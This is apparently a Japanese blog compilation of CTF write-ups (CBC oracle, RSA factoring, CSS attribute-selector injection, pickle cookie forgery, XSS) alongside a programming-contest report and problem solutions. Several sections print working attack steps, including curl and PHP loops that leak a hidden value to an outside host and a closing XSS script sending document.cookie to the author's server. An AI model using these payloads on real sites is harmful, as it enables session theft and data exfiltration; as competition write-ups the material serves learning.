なので、最初に \0 を32バイト並べたものを復号化し、初期ベクタを「先ほど得られた先頭ブロック ^ 望む状態先頭ブロック」に書き換えると、先頭16バイトは好きなようになる。今回は先頭4バイトが「flag」になればよいので、初期ベクタの4バイトを修正した。

試しに修正したあとのものを decrypt してもらうと望む通り flag で始まったので、 secret に送ると無事暗号化されたフラグが手に入った。これを復号化してもらって提出。

writeup 用に保存しておいたログから必要な部分を抜き出したものが以下。

$ dd if=/dev/zero bs=32 count=1 | base64
1+0 records in
1+0 records out
32 bytes copied, 0.000194334 s, 165 kB/s
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

$ nc flagstaff.vuln.icec.tf 6003 
Welcome to the secure flag server.
Send me a command: decrypt
Send me some data to decrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
6VlxPr4/oHDN5x6RmAek+w==

$ echo -n 6VlxPr4/oHDN5x6RmAek+w== | base64 -d | od -t x1
0000000 e9 59 71 3e be 3f a0 70 cd e7 1e 91 98 07 a4 fb
0000020

$ python
Python 2.7.12 (default, Jul  1 2016, 15:12:24) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xe959713e ^ 0x666c6167)
'0x8f351059'
>>> quit()

$ (perl -e 'print "\x8f\x35\x10\x59";'; dd if=/dev/zero bs=28 count=1) | base64
1+0 records in
1+0 records out
28 bytes copied, 0.000133464 s, 210 kB/s
jzUQWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

$ nc flagstaff.vuln.icec.tf 6003 
Welcome to the secure flag server.
Send me a command: decrypt
Send me some data to decrypt: jzUQWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
ZmxhZ74/oHDN5x6RmAek+w==

$ echo ZmxhZ74/oHDN5x6RmAek+w== | base64 -d
flag�?�p������

$ nc flagstaff.vuln.icec.tf 6003 
Welcome to the secure flag server.
Send me a command: secret
Send me an encrypted command: jzUQWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
6g0QvuIcEb1TfCq9vlApP6tKr+agmfm44nOWreOHXhM3F7QQrlwwmC4u9ZII4LzaY8VyCSy7Wci2txjkHiUREjks38JcKkm84AmETtJ4utI=

$ nc flagstaff.vuln.icec.tf 6003 
Welcome to the secure flag server.
Send me a command: decrypt
Send me some data to decrypt: 6g0QvuIcEb1TfCq9vlApP6tKr+agmfm44nOWreOHXhM3F7QQrlwwmC4u9ZII4LzaY8VyCSy7Wci2txjkHiUREjks38JcKkm84AmETtJ4utI=
SWNlQ1RGe3JldmVyc2VfYWxsX3RoZV9ibG9ja3NfYW5kX2dldF90b190aGVfbWVhbmluZ19iZWhpbmR9

$ echo SWNlQ1RGe3JldmVyc2VfYWxsX3RoZV9ibG9ja3NfYW5kX2dldF90b190aGVfbWVhbmluZ19iZWhpbmR9 | base64 -d
IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}

RSA 2

RSA で、これまでと違ってとりあえず形式的には正しそうなパラメータが付与された。鍵も2048ビットあった。

実は素数のどちらかが小さくて素因数分解できるのでは、と思って奇数で割り続けるプログラムを走らせたところ、予想通りすぐに素因数分解が完了した。

というわけで、あとはその結果をもとに Wikipedia とかを見ながら暗号化解除。

#!/usr/bin/python

N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301

# cf: http://arc360.info/algo/privatekey.html
def euclidean(x, y):
	x1 = 1
	y1 = 0
	z1 = x
	x2 = 0
	y2 = 1
	z2 = y

	while z2 != 1:
		q = (z1 - (z1 % z2)) / z2
		x1 = x1 - q * x2
		y1 = y1 - q * y2
		z1 = z1 - q * z2

		x1, y1, z1, x2, y2, z2 = x2, y2, z2, x1, y1, z1

	while x2 < 0:
		x2 += y
	
	return x2

def decrypt_rsa(N, e, d, cipher):
	c_powers = [cipher]
	cur_power = 1

	while cur_power <= d:
		tmp = c_powers[len(c_powers) - 1]
		c_powers.append((tmp * tmp) % N)
		cur_power *= 2

	cur_power = 1
	cur_pos = 0
	ans = 1

	while cur_power <= d: if d & cur_power > 0:
			ans *= 	c_powers[cur_pos]
			ans %= N
		cur_pos += 1
		cur_power *= 2

	return ans


#i = 3
i = 57970027

while True:
	if N%i==0:
		p=i
		q=N/p
		break

	i+=2

d = euclidean(e, (p-1)*(q-1))

ans = decrypt_rsa(N, e, d, c)

ans_array = []
while ans:
	ans_array.append(chr(ans % 256))
	ans /= 256

ans_array.reverse()

print ''.join(ans_array)

WhiteHat Wargame Contest 11 writeup

いつものチームで WhiteHat Wargame Contest 11 に参加していました。

難易度は高めだった気がするのと、不具合も目立ちましたが、僕が解いた Web 問はなかなかおもいろい問題でした。これについて write up を書いておきます。

Ultimate Design Tool

アクセスすると、HTMLのボタンをデザインする画面が現れました。Submit を押すとそのボタンが現れるとともにどこかに送られるようでしたが、ボタンのスタイルの修正のみが反映されてテキストの変更は反映されませんでした。

送られた情報を見ると、ボタンのスタイルは CSS の形式で送られているようでした。そのため、試しに

{ background-image: url(https://nhiroki.net/hoge.png); }

のようなCSSを送り付けると、サーバから指定した URL にアクセスが来ました。

そのため、 CSS から JavaScript を実行する方法について調べていました。アクセスが Firefox からだったことも踏まえて調べると、-moz-binding なるもので JavaScript コードを実行可能なようでした。しかし、ドキュメントはヒットしないものの Firefox 47 では動作しないようでした。

そのあと、 CSS injection なるヒントが公開され、方向性は間違っていないと判断しました。

さらにそのあと ReGeX なるヒントが公開されました。そのため、色々調べると、 CSS は要素の指定などに正規表現が使えるようでした。

ここで、ボタン作成時の画面の HTML に

                <!-- Admin only ... 
                <span value="secret"></span> 
                -->

という怪しげな記述があるのを思い出しました。CSS では HTML 要素の属性(<input type=”text”> なら type=”text” の部分)を条件に含めることができ、さらに完全一致のみならず先頭一致や含むかどうかという制限もできるようでした。

そのため、この要素を利用することで、特定の条件を持った属性(コメントを見る限りフラグがここに置かれている)が含まれるかを調べることができそうでした。

試しに画面に表示されているボタン(攻撃対象になかったとしても手元のブラウザでは表示される)で

{} div[id="button"]{ background-image: url(https://nhiroki.net/hoge.png); }

といった感じのことをしてみると無事アクセスが来たので、あとは一文字ずつ総当たりで調べることにしました。なお、^は***に置換されてしまったので、中間一致を利用して前と後ろにそれぞれ伸ばしていくことにしました。

最初は

for i in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9
do
    flag=<ここに既にわかっている部分を入れる>$i
    curl -X POST --data-urlencode 'csscode={height: 1px; line-height: 1px;}span[value*="'$flag'"]{ background-image: url(https://nhiroki.net/******?fl='$flag');}' --data-urlencode 'submit=Share your button!' http://118.70.80.143:8104/push.php
done

といったスクリプトを地道に手で走らせてはアクセスログを見ていましたが、結構長そうだったので、

<?php

$initialflag=$_GET['flag'];

for($i = 0; $i < 10; $i++){
        $flag=$initialflag.$i;
        system('curl -X POST --data-urlencode \'csscode={height: 1px; line-height: 1px;}span[value*="\''.escapeshellarg($flag).'\'"]{ background-image: url(https://****.php?flag=\''.escapeshellarg($flag).'\');}\' --data-urlencode \'submit=Share your button!\' http://118.70.80.143:8104/push.php');
}

for ($i = 0; $i < 26; $i++){
        $j=chr(ord('a')+$i);
        $flag=$initialflag.$j;
        system('curl -X POST --data-urlencode \'csscode={height: 1px; line-height: 1px;}span[value*="\''.escapeshellarg($flag).'\'"]{ background-image: url(https://****.php?flag=\''.escapeshellarg($flag).'\');}\' --data-urlencode \'submit=Share your button!\' http://118.70.80.143:8104/push.php');
}

(background-image で指定しているのがこのスクリプト自体)

といった感じのコードをサーバ上に設置し、最初に一回たたけばあとは自動で伸びるところまで伸びるようにして、方向だけは途中で文字列を前にも伸ばすようにしてフラグを得ました。(なお、大文字は画面上でも勝手に小文字に変換されたので省きました。)

CSS から直接 JS を実行する穴は今は塞がれているようですが、それでも CSS に任意の文字列を注入すれば HTML の属性などの情報は取得できるということを実際に試すことができました。

にろきプロコン実施の記録・使用したジャッジシステムについて

6月4日(土)にプロコンを実施したので、それについてつらつらと書いていきます。問題の内容と解説は4日の記事で既に公開しています。

流れ

  • ジャッジシステムを作成していて、だいたい動くのが見える。
  • 問題の内容が決まる。
  • テストデータを作る。
  • 非公開のシステムを作り、全体の動きを確認する。
  • 予想外に仮想化などで遅いので、制約を見直す。
  • コンテスト9日前:ここまで自宅LAN内で実施していたが、本番環境としてまずは自分しか見られない状態で今回のシステムでの最小構成(マスター1台+ジャッジサーバー2台)をデプロイ。
    • 使用予定のVPSは以前 nexted VT をサポートしているとしていたが、現在はしていないことが判明。予想外に実行時間が遅いため制限時間の見直し
    • 当日の問題で正解のプログラムを提出して確認
  • コンテスト7日前:問題ないと判断し、コンテスト日時を決定。テスト用ユーザーなどを削除して公開。
  • コンテスト6日前:ジャッジサーバ増設。3台に
  • コンテスト2日前:ジャッジサーバ増設。余裕を見て10台に。
  • コンテスト開始0分後:Standings に表示されないように細工されたアカウントで動作を確認。提出の要素などを確認する。
  • コンテスト開始約25分後:B問題で提出が出始めるが、正解者が出ないことを確認。調査開始。
  • コンテスト開始約30分後:Javaでの提出について、クラス内でクラスを定義すると動作しない仕様(お知らせなどでは「Main.java としてビルドされ、 Main.class のみをコピーして実行します。」)が想定しない障壁となっていることを確認。ただし、C++のコードでも通過しないコードがあることを確認。
  • コンテスト開始約40分後:B問題で正解すべきと思われるコードを手元で実行した結果などから、最終的に制約を満たしていない入力データがあることを確認。すぐには修正できないと判断して当該テストデータを削除して再ジャッジ。
  • コンテスト開始45分後:B問題のリジャッジを告知。
  • コンテスト開始58分後:Javaの仕様に対し、不公平にならないと判断した範囲でお知らせを追加。
  • コンテスト開始75分後:B問題のジャッジミスの対応(コンテスト延長・開始50分後までのミスの取り扱いの変更)を決定しお知らせを追加。
  • コンテスト開始100分後:コンテスト終了。ジャッジ完了を確認した後、告知した措置を反映した Standings を作成。
  • コンテスト開始105分後:告知した措置を反映させた Standings を表示。
  • コンテスト開始109分後:告知した措置の反映漏れを修正した Standings を表示。

ふりかえり

  • テストデータに不備があり、さらに不備の内容が「制約を満たしていない」であったためにプログラム自体は動作し、当日まで気が付かなかった。テストデータの作成は慎重を期すべきであるとともに、なるべく複数人で検証すべき。
  • 実行時に何か起こっても TLE 以外は WA 扱いになる仕様が想定外のところで仇に。仮想化に伴う仕様だが、この仕様は修正されるべきである。
  • Main.class のみをコピーする仕様もよくない。しかも、そのような状況であっても WA 以外の情報が得られないのは大変よくない。そもそも、あまり想定していないのであれば思い切ってJavaを最初から利用できないようにするなどの対策が必要だった。
  • 競技規約に連絡先は書いていたが、上述の問題にもかかわらず問い合わせが来なかったので、問い合わせは(特に今回のような勝手がわかっていない中での実施の場合は)フォームを準備するなどもっと容易にできるようにすべき。
  • 参加者は21名と、予想よりやや多い程度だったものの、それでもジャッジサーバーは明らかに10台も要らなかった。ただ、今回発生したリジャッジのような事態も想定すると、スケーリングさせられないなら少なすぎるよりは無駄になるほうがよい。
  • Standings に反映されない、自分用アカウントを用意するかは迷った上で用意したが、これはあったほうがよい。
  • 色々大きな問題はあったものの、ジャッジサーバが止まるようなことがなかったのはよかった。

その他、Twitter にて公開で寄せられた要望は以下の通り。

  • Languageの選択が記憶されるようにしてほしいです!(@machyさん)
  • c++でstd::tupleをつかったら通らなかったのでpairに直して解きました。tuple使えるとうれしいです。(@nekomimimiさん)

感想

ジャッジサーバのプログラム作成、問題やテストデータの準備、当日の運営に至るまで一人で実施しました。何はともあれ一通り経験できたのは楽しかったです。とはいえ、不手際が色々あり、せっかくご参加いただいた方にご迷惑をおかけしてしまいました。

ジャッジサーバの準備はなかなかに大変でしたが、目立たないところでテストデータの準備もなかなか大変で神経が磨り減るところでしたし、それでも今回重大なミスが発生した点でもあります。

ジャッジシステムそのもののことはこの後で書きますが、端的に言えば仮想化でジャッジサーバを構築する試みは、ある程度うまくいきそうに見えたものの、やはり無理があるのでコンテナ技術をベースにすべきだと感じています。

なかなかに大変なのは事実ですが、とはいえ学びがあったことも事実です。次回実施することがあるかどうかは現時点ではわかりませんが、実施するとしたら、あるいは何らかの何かを手助けするとしたら、今回明らかになった問題点を解消してよりよいものを作っていきたいと思います。

最後に、21名の参加者の方、ありがとうございました。

ジャッジサーバについて

今回用意したジャッジサーバのシステムについて、簡単な説明を書いておきます。使うための説明などは、もう少しAPIの仕様が定まったりして使いやすくなってからのほうがよいかな、と思っています。

今回はシステム構成について触れた後、 fuzetsu の仕組みのみ紹介しています。

システム構成

  • fuzetsu: ジャッジサーバの基盤エンジンです。与えられたソースコードをビルドしたものを安全に実行し、与えられた入力に対する結果を返します。OSv に対して fuzetsu のために最低限必要な修正を施した osv-fuzetsu が必要です。
  • flamehaze: 後述の flamehaze-outlaw からソースコードをダウンロードし、前述の fuzetsu を利用して結果を得て flamehaze-outlaw に返すプログラムです。これがジャッジサーバ1台に対し1インスタンス常時起動することになります。なお、 TLE などに関しては失敗時に別のマシンで再実行し、それでも失敗する時のみ正式に失敗とみなす仕組みが flamehaze, flamehaze-outlaw にまたがって備わっています。
  • flamehaze-outlaw: ジャッジシステムの中心部で、各種情報を管理する WebAPI を提供します。MySQL とデータをやりとりし、 flamehaze-outlaw の要求に応じてジャッジが必要なソースコードやジャッジ結果をやりとりし、後述の outlaw-ui の問い合わせに応じて必要な情報を返します。
  • outlaw-ui: flamehaze-outlaw に接続し、コンテスト参加者に対して WebUI を提供します。

fuzetsu について

与えられた任意のソースコードを安全に実行するシステムです。

現時点では、コンパイル時には gcc の場合に include したファイル一覧を表示するオプションを用い、ホワイトリスト方式でおかしなファイルを include していないか判定を行っています。

実行時には、与えられたファイルを OSv の仮想マシンを用意し、ネットワークから遮断してコンソール経由で入出力を行っています。そのため、仮想マシンイメージをビルド時に作成し、毎回コピーして実行しています。

OSv は仮想マシン上で一つのアプリケーションを動作させることを目的とした Cloudius Systems による OS で、通常 OS が担う機能をハイパーバイザ側に任せています。とても軽量で、 Hello, World 程度のプログラムを読み込んでいる場合、環境によっては、 OS を起動開始してからシャットダウンが完了するまで1秒以内で完了します。開発途上ですが、詳細はオンラインで検索すれば情報が出ると思います。

この仕組みにより、少なくとも任意プログラム実行に関しては、 OS 側での攻撃手段を逐一防ぐ必要がなく、 qemu に渡すオプションで包括的に防ぐことが可能になりました。

一方で、この仕組みのため、使用するVPSで仮想化支援が使えない(nested-VTが使えない)のは大きな問題でした。

また、シリアルコンソール経由でしか情報がやりとりできないため、実行時エラーをほとんど検出できない問題もありました。当初はメモリ使用量を検出する試みもありましたが、「Hello, World だけで 70MB 以上使用するので、メモリ使用量を計測できているうちに入らない」という判断をしました。

現状

ひとまず以下の点は特に改善が必要と考えています。

  • fuzetsu は仮想化ではなく、コンテナをベースとすべきである。
  • WebAPI の URL が .php なのは今後の互換性などの観点でよろしくないのと出力形式も行き当たりばったりなので、修正して自然言語で明示する。

おわりに

コンテストを実施したときのことをつらつらと書いてきましたが、開催側に回って初めてわかることは多いので、形はどうあれ実施してみることをお勧めします。その障壁を下げるためのジャッジシステム公開については今後努力します。

にろきプロコン#1 問題と解説

2016年6月4日 21:00から、プログラミングコンテスト「にろきプロコン#1」を実施しました。

まずは、問題の内容と想定した解法を記します。

実施に至っての色々や途中でミスが発覚して色々大変だったことの公開や、ジャッジ用のソースコード公開はこの土日の間に公開する予定です。

A. ふぃずばず

問題

FizzBuzzといえば、聞いたことがある方も多いのではないでしょうか。
大まかに説明すると、次のルールで1から順番に数を読み上げていくゲームです。

  • 原則として数をそのまま読み上げる。
  • ただし、3で割り切れる場合は数を読み上げずに Fizz と言う。
  • 5で割り切れる場合は数を読み上げずに Buzz と言う。
  • 3でも5でも割り切れる場合は、上のいずれにも従わず、FizzBuzz と言う。

順番に読み上げるのは飽きてしまったので、 FizzBuzz にランダムアクセスすることにしました。番号を与えられたとき、その番号に相当する読み上げるべきものを出力してください。

Input

N
i1
i2
...
iN

1行目に、テストケースの数Nが書いてあります。
2から(N+1)行目には順にそれぞれ読み上げるべき番号が書かれています。

Output

o1
o2
...
oN

N行それぞれに、書かれた順に入力された番号で読み上げるべきものを書いてください。最後の行にも改行が必要です。

制約

1 ≤ N ≤ 1,000
1 ≤ i1..N ≤ 1,000,000

Sample Input

5
1
3
413
55
1500

Sample Output

1
Fizz
413
Buzz
FizzBuzz

解説

順に入力し、それぞれを「15で割ったあまりが0かどうか」「5で割ったあまりが0かどうか」「3で割ったあまりが0かどうか」で条件分岐します。

ソースコードは例えば以下のようになります。

#include 

using namespace std;

int main(){
	int T;

	cin >> T;

	for (int i = 0; i < T; ++i) { int n = 0; cin >> n;

		if (n % 15 == 0) {
			cout << "FizzBuzz" << endl;
		} else if (n % 5 == 0){
			cout << "Buzz" << endl;
		} else if (n % 3 == 0){
			cout << "Fizz" << endl;
		} else {
			cout << n << endl;
		}
	}

	return 0;
}

B. 郵便係

問題

あなたは、郵便物を配送する仕事につきました。
今日も一仕事を終えて拠点に戻ってきましたが、トラックの荷室の奥に一つだけ、配達時間帯指定つきの荷物が残っていることに気付きました。
この荷物を時間内に配送する必要がありますが、トラックが出した最高速度が従業員評価に組み込まれているため、最高速度をなるべく抑えないといけないことを思い出します。トラックは自動運転になっており、速度を指定すると指定した速度で走行しますが、赤信号でのみ停止します。
そのため、なるべく低い速度を指定しつつ、その荷物を指定時刻までに届ける必要があります。幸いなことに、この道はよく通る道で、信号の動きを完璧に把握していますし、それ以外の要因で指定速度より低くなることはありません(加速や減速に要する時間も無視できます)。
この問題を解決するため、配送に使える残り時間(秒)、目的地までの距離(m)、トラックに指定可能な最高速度(m/秒)、各信号の位置と動きを入力(後述)したとき、指定する必要がある速度(m/秒)の最低値を整数で答えるプログラムを書いてください。速度は整数でしか指定できないので、小数で結果が得られたとしても切り上げて回答してください。ただし、トラックに指定可能な最高速度でもなお時間内に到達できない場合は-1と答えてください。
信号の挙動:出発してからx秒後に、この信号は初めて青になります。青になったら、y秒ごとに青と赤を切り替えます。つまり、x+y秒後に赤信号になり、x+2y秒後に再び青になって進むことができるようになります。なお、xはマイナスになることもありますが、その場合も出発後x秒後に青信号になり、その後y秒ごとに信号が切り替わります。

Input

time distance speedlimit
N
location1 x1 y1
...
locationN xN yN

1行目:指定所要時間(秒) time、目的地までの距離(m) distance、トラックに指定可能な最高速度(m/秒) speedlimit が順にスペース区切りで入力されています。
2行目:信号の数(N)が入力されています。
3から(2+N)行目:信号の位置(拠点からの距離;m) locationi、問題文中の信号のパラメータxi, yi がスペース区切りで入力されています。

Output

speed

結果は一行で、問題に問われている速度(m/秒で整数、ただし到達できない場合は-1)を出力してください。改行が必要です。

制約

1 ≤ N ≤ 100
1 ≤ time ≤ 100,000,000
1 ≤ distance ≤ 100,000,000
1 ≤ speedlimit ≤ 100,000,000
1 ≤ location1..N ≤ distance
1 ≤ y1..N ≤ time
-yi ≤ xi ≤ yi for i in 1..N
locationi-1 ≤ locationi for i in 2..N

Sample Input

600 6000 20
3
100 10 20
400 0 30
600 10 45
600 5900 10
1
100 120 200

Sample Output

11
-1

二つ目の例では、5900m離れたところまで600秒で配送する必要があります。最初の信号が100m離れた地点(残り5800m)にありますが、どんなに速く移動してもここを通過できるのは120秒後ですから、480秒しか残らず、最高速度を以てしても残りの5800mは走破できません。

解説

目的地までの距離と時間がわかっていますが、途中に待ち時間が一定でなく、一定のタイミングまで待たされる信号がたくさんあります。それらは独立して動いているので、一度にすべての要因を考慮するのは難しそうです。
信号の数は100程度しかないので、速度を決めたときにシミュレーションを行って所要時間を計算することはできそうです。
また、信号は早くついても一定のタイミングまで待たされるだけなので、速度を上げたことによって所要時間が伸びることはありません。つまり、ある速度で間に合わなかった場合は、必ずそれよりも速度を上げなければならないということです。
この性質を利用し、二分探索で解くことができます。例えば、以下のようになります。なお、浮動小数点の誤差の問題を回避するため、以下のコードでは時間は速度を乗じた状態で保持しています。

#include 
#include 

using namespace std;

int inside_loop(long long arrive, long long speed, long long x, long long loop) {
	long long arrive_clock = arrive % (2 * loop * speed);
	if (arrive_clock < x * speed) {
		arrive_clock += loop * speed * 2;
	}

	return arrive_clock < (x + loop) * speed;
}

int main(){
	long long t, d, s, N;
	vector  l, x, y;

	cin >> t >> d >> s >> N;

	for(long long i = 0; i < N; ++i){ long long tl, tx, ty; cin >> tl >> tx >> ty;

		if (tx < 0) {
			tx += 2 * ty;
		}

		l.push_back(tl);
		x.push_back(tx);
		y.push_back(ty);
	}

	l.push_back(d);
	x.push_back(0);
	y.push_back(t + 1);

	long long lo = 1;
	long long hi = s + 1;

	while (lo < hi) {
		long long mid = (lo + hi) / 2;

		long long curpos = 0;
		long long arrive = 0;

		for (long long i = 0; i < l.size(); ++i) { arrive += l[i] - curpos; if (! inside_loop(arrive, mid, x[i], y[i])) { arrive = ((arrive - x[i] * mid + (2 * y[i] * mid) - 1) / (2 * y[i] * mid)) * (2 * y[i] * mid) + x[i] * mid; } curpos = l[i]; } if (arrive > t * mid) {
			lo = mid + 1;
		} else {
			hi = mid; 
		}
	}

	if (lo > s) {
		cout << -1 << endl;
	} else {
		cout << lo << endl;
	}
}

C. 郵便係・続

問題

インターネットを構成する要素としておなじみの IP (Internet Protocol) では、 IP アドレスを元にパケットを目的地に配送します。
例えば家のLANに繋がっているパソコンの場合、LAN内は直接通信できるので直接配送し、LANの外であればデフォルト・ゲートウェイに渡してそこから先の配送を任せます。複数のネットワークに繋がっていれば、宛先によって適切な送り先に渡すことになります。宛先の判定は色々な方法がありますが、この問題ではとてもシンプルなルーティングテーブルを考えます。

今回考えるルーティングテーブルは、次のようなエントリがたくさん集まっています。

<ネットワークアドレス> <ネットマスク> <宛先インターフェイス> <優先度>

具体的には例えば以下のようになっています。

ネットワークアドレス ネットマスク 宛先インターフェイス 優先度
0.0.0.0 0.0.0.0 gateway1 20
192.168.1.0 255.255.255.0 eth0 10
192.168.1.0 255.255.255.0 eth1 20
192.168.1.128 255.255 255.128 eth2 30

IPアドレスとネットマスクは、8ビットごとに区切って書かれていますが、実際には32ビットで一続きです。たとえば、 1.2.128.129 は 0x01028081 とも表現できます。
各パケットの宛先IPアドレスと、ルーティングテーブルのエントリのネットマスクの論理積(ビット演算でいう&)がネットワークに一致すれば、そのエントリの宛先インターフェイスがパケットを届けるべきインターフェイスとなります。ただし、複数ある場合は、

  • ネットマスクが大きい順
  • ネットマスクも同じ場合は優先度の数字が小さい順

に優先します。

たとえばこの例では、 192.168.1.1 宛なら eth0 に、 192.168.1.130 は eth2 に、 10.0.0.1 宛や 240.0.0.1 宛なら gateway1 に届けます。
実際にはgatewayはインターフェイスではなくて、もう少し情報が書いてあって結局ethのどれかに投げることになるな、と思っている方もいるかと思いますが、ここではgatewayのままにすることにします。

郵便配送の経験を積んだあなたはこのパケットを分配する仕事につきましたが、毎回ルーティングテーブルを目で見て判定するのは効率的でないことに気付きました。仕事を楽にするため、ルーティングテーブルと、パケットの宛先がいくつか入力された時、それぞれのパケットの宛先を出力するプログラムを書いてください。なお、IPアドレスはピリオド区切りではなくスペース区切りで与えられます。

Input

N
network1 netmask1 interface1 metrics1
network2 netmask2 interface2 metrics2
...
networkN netmaskN interfaceN metricsN
M
ipaddr1
ipaddr2
...
ipaddrM

N, M は整数で、 IPそれぞれルーティングテーブルのエントリの数、パケットの数を示しています。
network, netmask, interface, metrics はそれぞれネットワークアドレス、ネットマスク、宛先インターフェイス、優先度を示しています。
ipaddr は、各パケットの宛先IPアドレスを示しています。
network, netmask, ipaddr はそれぞれ0から255までの整数4つで表現されています。

Output

interface1
interface2
...
interfaceM

M行にわたり、それぞれの行に順番にそれぞれのパケットの宛先のインターフェイス名を書いてください。最後の行にも改行が必要です。

制約

  • interfaceは10文字までの文字列(含む文字は[a-z0-9]のみ)
  • 優先度は整数(0から100)
  • network, netmask, metrics のいずれもが重複する行はない
  • interface が重複する行はない
  • netmask で 0 になっているビットに相当する network のビットは 0 (つまり network & (~netmask) = 0 )
  • 必ず一つ以上、 network = netmask = 0 0 0 0 の行がある(つまり、すべてのパケットは宛先がある)。
  • netmask は全体を2進数で表現したとき、各ビットについてその左のビットが0ならばそのビットも0である(つまり、2進数で表現すると左側に0個以上の1が並び、残りのビットは0で埋まっている)
  • 1 ≤ N ≤ 100
  • 1 ≤ M ≤ 100

Sample Input

4
0 0 0 0 0 0 0 0 gateway1 20
192 168 1 0 255 255 255 0 eth0 10
192 168 1 0 255 255 255 0 eth1 20
192 168 1 128 255 255 255 128 eth2 30
7
10 0 0 1
192 168 1 1
192 168 1 123
192 168 1 130
192 168 1 159
192 168 2 12
240 0 0 1

Sample Output

gateway1
eth0
eth0
eth2
eth2
gateway1
gateway1

解説

必要なアルゴリズム自体は公開されており、全てのケースで全探索を行っても計算量も問題にならないため、アルゴリズムが思いつかないというより、ビット演算などの意図を理解して仕様通りにコードを書けるかを問う問題です。

まず、

IPアドレスとネットマスクは、8ビットごとに区切って書かれていますが、実際には32ビットで一続きです。たとえば、 1.2.128.129 は 0x01028081 とも表現できます。

とありますから、4つの区切りを受け取ったらビットシフトを使って一つの32ビット符号なし整数(64ビット整数などでも可)にまとめてしまいましょう。

続いて、一つ一つの宛先について、ビット演算子の「&」を用いて宛先が当てはまるか判断し、ネットマスクの長さと優先度が最も長いものが残るようにして判定を上からしていきましょう。

例えば以下のようになります。

#include 
#include 

using namespace std;

int main(){
	int N, M;
	vector  network, netmask, metrics;
	vector  interface;

	cin >> N;
	for(int i = 0; i < N; ++i){
		unsigned int tnw = 0, tnm = 0, tme;
		string tin;

		for (int j = 0; j < 4; ++j) { int t; cin >> t;
			tnw = (tnw << 8) + t;
		}

		for (int j = 0; j < 4; ++j) { int t; cin >> t;
			tnm = (tnm << 8) + t; } cin >> tin >> tme;

		network.push_back(tnw);
		netmask.push_back(tnm);
		interface.push_back(tin);
		metrics.push_back(tme);
	}

	cin >> M;

	for (int i = 0; i < M; ++i) {
		unsigned int addr = 0;

		for (int j = 0; j < 4; ++j) { int t; cin >> t;
			addr = (addr << 8) + t;
		}

		int bestid = -1;

		for (int j = 0; j < N; ++j) {
			if ((addr & netmask[j]) == network[j]) {
				if (bestid == -1) {
					bestid = j;
				}

				if (netmask[bestid] < netmask[j]) {
					bestid = j;
				}

				if (netmask[bestid] == netmask[j] && metrics[bestid] > metrics[j]) {
					bestid = j;
				}
			}
		}

		cout << interface[bestid] << endl;
	}
}

Google Capture The Flag writeup

チーム「yharima」として Google Capture The Flag に参加していました。

まずは、難易度が高い問題が多いと感じました。48時間の競技でしたが、24時間経っても誰も解いていない問題もそれなりにありました。最後まで誰も解いていない問題もありました。

また、ほとんどの問題では、TLSが有効になっていたのも印象的でした。問題の大筋には関係のないところでTLSを使っているだけでも、地味に面倒さが増える要因になったりしました。こういったところまで耐えられるかといったことを想定しているようです。

結果は145位でした。

その中で自分がしたことについて write up を書きます。

No Big Deal

やたらとでかいpcapファイルが与えられたので、とりあえず strings コマンドにかけてみると何やらBASE64らしい文字列が。base64 -dしてみるとフラグが得られた。「CTF{some_leaks_are_good_leaks_}」

Spotted Quoll

接続してCookieの中身を見てみると、何やらbase64エンコードされた文字列が。デコードしてみると以下のようなものが入っている。

(dp1
S'python'
p2
S'pickles'
p3
sS'subtle'
p4
S'hint'
p5
sS'user'
p6
Ns.

pythonとpicklesが気になるので調べてみるとシリアライズの一つの方法だったので、 Python で読み込んでユーザーのところにadminと入れたものを作り、 Cookie に押し戻すと /admin につながるようになった。

Wallowing Wallabies – Part One

青画面に等幅のシステムっぽいフォントという、BIOSっぽい画面が表示されていた。

ほかの問題の問題文で、 /robots.txt を見ることを示唆するものがあったので、この問題でも /robots.txt を見てみると、

User-agent: *
Disallow: /deep-blue-sea/
Disallow: /deep-blue-sea/team/
# Yes, these are alphabet puns :)
Disallow: /deep-blue-sea/team/characters
Disallow: /deep-blue-sea/team/paragraphs
Disallow: /deep-blue-sea/team/lines
Disallow: /deep-blue-sea/team/runes
Disallow: /deep-blue-sea/team/vendors

色々と指定されている。片っ端から見ていくと、 /deep-blue-sea/team/vendors に何やら問い合わせフォームのようなものがある(vendorに対して権限を要求するメッセージフォーム)。

試してみるとエスケープされずに HTML に表示されるが、それ以上どうするの?となった。しばらくすると<script>が含まれているときに<script src=という入力を期待している旨が表示され、また問題文にも XSS で Cookie を盗む問題である旨が追記されたので、 <script src=”https://nhiroki.net/waiha.js”></script> ということをして、その js には

documet.location = "https://nhiroki.net/hoge/" + document.cookie

